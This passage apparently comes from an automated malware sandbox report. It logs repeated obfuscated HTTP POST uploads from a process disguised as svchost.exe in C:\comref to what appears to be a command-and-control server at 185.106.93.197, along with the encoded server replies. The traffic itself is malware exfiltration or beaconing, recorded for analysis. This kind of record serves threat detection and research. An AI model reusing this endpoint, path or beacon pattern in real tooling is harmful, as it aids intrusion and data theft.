                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:27.130019903 CEST2512OUTData Raw: 5e 51 5e 5f 58 58 5c 57 5b 57 5a 59 52 58 54 51 54 50 5e 59 57 5e 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q^_XX\W[WZYRXTQTP^YW^ZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!B,1:>;8#X<Y& +4.8>P43',(6/5?)"Y %X!3
                                                                      Aug 28, 2024 11:17:27.431978941 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:27.564780951 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:27 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      8192.168.2.749724185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:28.229636908 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:28.581788063 CEST2512OUTData Raw: 5e 57 5b 5b 58 5f 59 52 5b 57 5a 59 52 5f 54 5c 54 50 5e 5a 57 53 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W[[X_YR[WZYR_T\TP^ZWSZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!8)?(] #':0!(<.81#Y'6Y()"X"6?"Y %X!/
                                                                      Aug 28, 2024 11:17:28.878926039 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:29.010469913 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:28 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      9192.168.2.749726185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:29.399239063 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1828
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      10192.168.2.749727185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:29.555807114 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:29.914110899 CEST2512OUTData Raw: 5b 5b 5e 5e 58 5d 59 53 5b 57 5a 59 52 55 54 53 54 5f 5e 52 57 57 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^^X]YS[WZYRUTST_^RWWZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!B;&?#=(^'97!+(V:2P#+'0"[*:>!?%\("Y %X!
                                                                      Aug 28, 2024 11:17:30.191195011 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:30.409595966 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:30 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P
                                                                      Aug 28, 2024 11:17:30.409657001 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:30 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      11192.168.2.749728185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:30.854228973 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:31.206238031 CEST2512OUTData Raw: 5e 52 5e 54 5d 51 5c 50 5b 57 5a 59 52 5f 54 55 54 51 5e 5e 57 50 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R^T]Q\P[WZYR_TUTQ^^WPZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS".2&?8# (X&9"#.+W48&<?*!6,:(9"Y %X!/
                                                                      Aug 28, 2024 11:17:31.535260916 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:31.661470890 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:31 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      12192.168.2.749732185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:34.618594885 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1840
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:34.971952915 CEST1840OUTData Raw: 5b 57 5b 5f 5d 5e 59 5b 5b 57 5a 59 52 58 54 51 54 5b 5e 5d 57 53 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [W[_]^Y[[WZYRXTQT[^]WSZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!B,16_>8 !.Y&<Y!'9+W#;0X$?9"Z6,%("Y %X!3
                                                                      Aug 28, 2024 11:17:35.245728016 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:35.377392054 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:35 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5d 34 2d 28 0f 25 0a 38 5a 38 5e 2a 56 2a 3c 09 07 3d 31 38 5f 30 3e 3b 0d 24 2b 27 0f 25 38 37 08 24 21 35 16 30 04 30 0e 26 26 2d 5f 06 11 25 0a 20 06 00 01 3b 31 20 1c 2a 13 24 5b 36 2d 23 5c 29 0a 29 57 22 2d 27 5e 3d 3c 3a 1c 38 22 39 52 2a 5c 2e 19 2c 3d 34 52 26 10 21 52 0c 17 22 56 3f 00 33 05 20 2b 25 0c 33 0b 27 1c 23 2c 29 12 33 3f 37 50 24 03 20 54 3c 3b 28 1e 24 2e 38 1e 32 15 35 5a 27 5a 38 09 3a 03 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $]4-(%8Z8^*V*<=18_0>;$+'%87$!500&&-_% ;1 *$[6-#\))W"-'^=<:8"9R*\.,=4R&!R"V?3 +%3'#,)3?7P$ T<;($.825Z'Z8:.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      13192.168.2.749736185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:39.035382986 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:39.393800974 CEST2512OUTData Raw: 5b 56 5e 55 58 5c 59 55 5b 57 5a 59 52 59 54 57 54 5e 5e 5f 57 53 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V^UX\YU[WZYRYTWT^^_WSZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",!*_??#>1 Z5;<V.2R4?&?"X<9%"/%+"Y %X!7
                                                                      Aug 28, 2024 11:17:39.604217052 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:39.732898951 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:39 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      14192.168.2.757756185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:39.895443916 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:40.253138065 CEST2512OUTData Raw: 5e 57 5b 5f 58 5b 59 50 5b 57 5a 59 52 59 54 53 54 5a 5e 58 57 57 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W[_X[YP[WZYRYTSTZ^XWWZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C,%<;'4.10[ ;+-8"R#83<^<%!2?9"Y %X!7


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      15192.168.2.757758185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:40.400171041 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1840
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:40.753385067 CEST1840OUTData Raw: 5e 57 5b 58 5d 5c 5c 56 5b 57 5a 59 52 5f 54 55 54 5c 5e 5c 57 53 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W[X]\\V[WZYR_TUT\^\WSZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A8*<+$#.7%)$[5+8U.%#8'?.?*"5("Y %X!/
                                                                      Aug 28, 2024 11:17:41.045871019 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:41.178191900 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:40 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 27 00 37 3e 3f 50 26 1d 27 01 2c 3b 31 0f 29 2c 0e 1d 3d 0b 30 5d 33 07 24 56 27 38 2b 08 27 2b 37 45 33 22 0f 15 30 5b 2f 54 31 36 2d 5f 06 11 26 19 34 28 03 59 2f 32 0d 0d 2a 03 2b 05 22 2e 2f 5b 3d 30 3e 0b 22 10 20 05 2a 02 3d 0f 2c 22 21 10 3d 04 00 5e 38 03 3c 1b 32 3a 21 52 0c 17 21 0e 2b 5f 3f 00 20 16 21 0b 27 22 01 55 23 11 25 1d 27 06 23 56 33 39 33 0f 28 2b 2b 0a 32 10 23 0a 26 2b 26 05 30 02 3b 1a 39 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: '7>?P&',;1),=0]3$V'8+'+7E3"0[/T16-_&4(Y/2*+"./[=0>" *=,"!=^8<2:!R!+_? !'"U#%'#V393(++2#&+&0;99.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      16192.168.2.757759185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:40.599124908 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:40.956342936 CEST2512OUTData Raw: 5e 55 5b 5b 5d 5f 59 57 5b 57 5a 59 52 5b 54 57 54 5c 5e 5f 57 56 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^U[[]_YW[WZYR[TWT\^_WVZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!.!9++(Y#X(]&9+6<U.8%#(Y3,<:!5?:("Y %X!
                                                                      Aug 28, 2024 11:17:41.222904921 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:41.355968952 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:41 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      17192.168.2.757761185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:41.518137932 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:41.862628937 CEST2512OUTData Raw: 5e 57 5e 54 5d 5f 59 50 5b 57 5a 59 52 5e 54 50 54 5a 5e 5a 57 5f 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W^T]_YP[WZYR^TPTZ^ZW_Z[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!86^(4.?1,X6$T:;!;?0Z*9!6<!+"Y %X!+
                                                                      Aug 28, 2024 11:17:42.172271967 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:42.300539017 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:42 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      18192.168.2.757764185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:42.585572958 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:42.940685987 CEST2512OUTData Raw: 5b 56 5b 59 58 58 5c 51 5b 57 5a 59 52 55 54 55 54 58 5e 5c 57 5e 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V[YXX\Q[WZYRUTUTX^\W^Z[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";29?Y ><]2)4[68 -82V7^/'<+*&["<9\+)"Y %X!
                                                                      Aug 28, 2024 11:17:43.236598969 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:43.372584105 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:43 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      19192.168.2.757765185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:43.558115005 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:43.912879944 CEST2512OUTData Raw: 5b 5a 5b 5e 58 5f 5c 56 5b 57 5a 59 52 59 54 53 54 5b 5e 58 57 56 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z[^X_\V[WZYRYTST[^XWVZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!B;1?#1$X"7:"4,'?2+)!?=Z+"Y %X!7
                                                                      Aug 28, 2024 11:17:44.246110916 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:44.378194094 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:44 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      20192.168.2.757766185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:44.550317049 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
